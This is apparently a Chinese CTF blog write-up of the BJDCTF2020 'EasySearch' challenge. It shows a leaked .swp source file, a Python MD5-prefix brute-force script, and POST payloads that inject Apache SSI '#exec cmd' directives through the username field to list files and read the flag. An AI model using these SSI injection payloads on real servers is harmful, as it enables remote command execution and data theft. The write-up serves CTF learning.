[BJDCTF2020]EasySearch

登录界面

查看源码、sql注入测试,并没有突破口

使用dirsearch 扫描,未能扫描出文件,使用Test404轻量后台扫描器(字典php_bak.txt)发现,有文件index.php.swp泄露。扫描时发现,有大佬说dirsearch 能扫描出来,但是实际发现dirsearch的字典目录里只有“.index.php.swp”,而没有“index.php.swp”,所以要用dirsearch扫描出来,必须指定字典。

index.php.swp源码:

<?php
	ob_start();
	function get_hash(){
		$chars = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789!@#$%^&*()+-';
		$random = $chars[mt_rand(0,73)].$chars[mt_rand(0,73)].$chars[mt_rand(0,73)].$chars[mt_rand(0,73)].$chars[mt_rand(0,73)];//Random 5 times
		$content = uniqid().$random;
		return sha1($content); 
	}
    header("Content-Type: text/html;charset=utf-8");
	***
    if(isset($_POST['username']) and $_POST['username'] != '' )
    {
        $admin = '6d0bc1';
        if ( $admin == substr(md5($_POST['password']),0,6)) {
            echo "<script>alert('[+] Welcome to manage system')</script>";
            $file_shtml = "public/".get_hash().".shtml";
            $shtml = fopen($file_shtml, "w") or die("Unable to open file!");
            $text = '
            ***
            ***
            <h1>Hello,'.$_POST['username'].'</h1>
            ***
			***';
            fwrite($shtml,$text);
            fclose($shtml);
            ***
			echo "[!] Header  error ...";
        } else {
            echo "<script>alert('[!] Failed')</script>";
            
    }else
    {
	***
    }
	***
?>

一、代码分析

        $admin = '6d0bc1';
        if ( $admin == substr(md5($_POST['password']),0,6)) 

看出password进行md5加密后,前六位与admin相等,所以可以通过脚本进行碰撞,求出password:

import hashlib

for num in range(10000,9999999999):
    pwd = hashlib.md5(str(num).encode()).hexdigest() #md5改为题目需要的算法
    if pwd[0:6] == "6d0bc1":   #对hash的前两位为"0e"的数字进行碰撞
        print(str(num)) #等待执行结束 输出结果
        break

password=2020666

使用admin、2020666登录系统,未发现任何有用的

二、上burpsuit

抓包,发现

HTTP/1.1 200 OK
Server: openresty
Date: Sat, 02 Sep 2023 09:10:44 GMT
Content-Type: text/html;charset=utf-8
Connection: close
Url_is_here: public/500ffee569c40dbb94b9b0b8426ae8f8ff86d201.shtml
Vary: Accept-Encoding
X-Powered-By: PHP/7.1.27
Content-Length: 568

响应里有“public/500ffee569c40dbb94b9b0b8426ae8f8ff86d201.shtml”

Apache SSI 远程命令执行漏洞

当目标服务器开启了SSI与CGI支持,我们就可以上传shtml,利用<!--#exec cmd=”id” -->语法执行命令。

使用SSI(Server Side Include)的html文件扩展名,SSI(Server Side Include),通常称为"服务器端嵌入"或者叫"服务器端包含",是一种类似于ASP的基于服务器的网页制作技术。默认扩展名是 .stm、.shtm 和 .shtml。

三、远程执行命令

1、post payload:

username=<!--#exec cmd="ls ../"-->&password=2020666

执行后,查看响应头:

Url_is_here: public/61149c955fc1c88e0864f9803b3b750bd0ff0807.shtml

打开“public/61149c955fc1c88e0864f9803b3b750bd0ff0807.shtml”,查看到

Hello,flag_990c66bf85a09c664f0b6741840499b2 index.php index.php.swp public

data: Saturday, 02-Sep-2023 09:19:04 UTC

Client IP: 11.211.81.11

2、post payload:

username=<!--#exec cmd="cat ../flag_990c66bf85a09c664f0b6741840499b2"-->&password=2020666

查看相应头:

HTTP/1.1 200 OK
Server: openresty
Date: Sat, 02 Sep 2023 09:24:28 GMT
Content-Type: text/html;charset=utf-8
Connection: close
Url_is_here: public/65517def766aab584fc82962badd04bc50c54e54.shtml
Vary: Accept-Encoding
X-Powered-By: PHP/7.1.27
Content-Length: 568

打开“public/65517def766aab584fc82962badd04bc50c54e54.shtml”

Hello,flag{34f2a90b-5571-4530-ab88-80a963d4f219}

data: Saturday, 02-Sep-2023 09:24:46 UTC

Client IP: 11.211.81.11

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

半两八金

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值